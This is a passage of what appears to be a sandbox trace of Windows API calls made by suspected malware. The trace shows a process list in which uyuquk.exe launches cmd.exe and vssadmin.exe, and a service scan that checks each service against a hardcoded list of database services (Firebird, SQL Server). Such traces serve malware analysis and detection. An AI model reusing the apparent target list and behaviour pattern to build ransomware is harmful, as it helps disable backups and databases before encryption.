[0037.148] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0037.148] lstrlenW (lpString="wp std.exe") returned 10 [0037.148] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0037.149] lstrlenW (lpString="lesser.exe") returned 10 [0037.149] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0037.149] lstrlenW (lpString="right-tissue.exe") returned 16 [0037.149] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0037.150] lstrlenW (lpString="bunch.exe") returned 9 [0037.150] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0037.150] lstrlenW (lpString="jam.exe") returned 7 [0037.150] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0037.151] lstrlenW (lpString="chooseincidence.exe") returned 19 [0037.151] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0037.151] lstrlenW (lpString="numericalrear.exe") returned 17 [0037.151] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0037.152] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0037.152] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0037.152] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0037.152] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0037.153] lstrlenW (lpString="come_wave.exe") returned 13 [0037.153] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.153] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0037.153] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.154] lstrlenW (lpString="dllhost.exe") returned 11 [0037.154] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0037.154] lstrlenW (lpString="dllhost.exe") returned 11 [0037.154] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0037.155] lstrlenW (lpString="uyuquk.exe") returned 10 [0037.155] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.155] lstrlenW (lpString="cmd.exe") returned 7 [0037.155] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.156] lstrlenW (lpString="conhost.exe") returned 11 [0037.156] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0037.156] lstrlenW (lpString="vssadmin.exe") returned 12 [0037.156] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0037.157] lstrlenW (lpString="VSSVC.exe") returned 9 [0037.157] Process32NextW (in: hSnapshot=0x1cc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0037.157] CloseHandle (hObject=0x1cc) returned 1 [0037.157] Sleep (dwMilliseconds=0x1f4) [0037.970] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d18 [0037.970] EnumServicesStatusExW (in: hSCManager=0x566d18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0037.971] GetLastError () returned 0xea [0037.971] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x55e478 [0037.971] EnumServicesStatusExW (in: hSCManager=0x566d18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x123e, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0037.971] CloseServiceHandle (hSCObject=0x566d18) returned 1 [0037.971] lstrlenW (lpString="Appinfo") returned 7 [0037.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.972] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.972] lstrlenW (lpString="AudioSrv") returned 8 [0037.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0037.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0037.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0037.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0037.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0037.972] lstrlenW (lpString="BFE") returned 3 [0037.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.972] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.972] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.972] lstrlenW (lpString="CryptSvc") returned 8 [0037.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.972] lstrlenW (lpString="CscService") returned 10 [0037.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0037.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0037.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0037.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0037.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0037.973] lstrlenW (lpString="DcomLaunch") returned 10 [0037.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.973] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.973] lstrlenW (lpString="Dhcp") returned 4 [0037.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.973] lstrlenW (lpString="Dnscache") returned 8 [0037.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.973] lstrlenW (lpString="DPS") returned 3 [0037.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.973] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.973] lstrlenW (lpString="eventlog") returned 8 [0037.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0037.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0037.973] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0037.973] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0037.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0037.973] lstrlenW (lpString="EventSystem") returned 11 [0037.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.974] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.974] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.974] lstrlenW (lpString="gpsvc") returned 5 [0037.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.974] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.974] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.974] lstrlenW (lpString="iphlpsvc") returned 8 [0037.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.974] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.974] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.974] lstrlenW (lpString="LanmanServer") returned 12 [0037.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.974] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.974] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.974] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.974] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.974] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.974] lstrlenW (lpString="lmhosts") returned 7 [0037.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.974] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.974] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.975] lstrlenW (lpString="MMCSS") returned 5 [0037.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0037.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0037.975] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0037.975] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0037.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0037.975] lstrlenW (lpString="MpsSvc") returned 6 [0037.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.975] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.975] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.975] lstrlenW (lpString="Netman") returned 6 [0037.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0037.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0037.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0037.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0037.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0037.975] lstrlenW (lpString="netprofm") returned 8 [0037.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.975] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.975] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.975] lstrlenW (lpString="NlaSvc") returned 6 [0037.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.975] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.975] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.975] lstrlenW (lpString="nsi") returned 3 [0037.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.976] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.976] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.976] lstrlenW (lpString="PcaSvc") returned 6 [0037.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.976] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.976] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.976] lstrlenW (lpString="PlugPlay") returned 8 [0037.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.976] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.976] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.976] lstrlenW (lpString="Power") returned 5 [0037.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.976] lstrlenW (lpString="ProfSvc") returned 7 [0037.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.976] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.976] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.976] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.976] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.976] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.977] lstrlenW (lpString="RpcSs") returned 5 [0037.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.977] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.977] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.977] lstrlenW (lpString="SamSs") returned 5 [0037.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.977] lstrlenW (lpString="Schedule") returned 8 [0037.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.977] lstrlenW (lpString="SENS") returned 4 [0037.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.977] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.977] lstrlenW (lpString="Spooler") returned 7 [0037.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.978] lstrlenW (lpString="SysMain") returned 7 [0037.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.978] lstrlenW (lpString="Themes") returned 6 [0037.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0037.978] lstrlenW (lpString="TrkWks") returned 6 [0037.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0037.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0037.978] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0037.978] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0037.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0037.978] lstrlenW (lpString="UxSms") returned 5 [0037.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0037.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0037.978] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0037.978] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0037.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0037.978] lstrlenW (lpString="VSS") returned 3 [0037.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0037.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0037.978] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0037.978] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0037.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0037.979] lstrlenW (lpString="WdiServiceHost") returned 14 [0037.979] lstrcmpiW 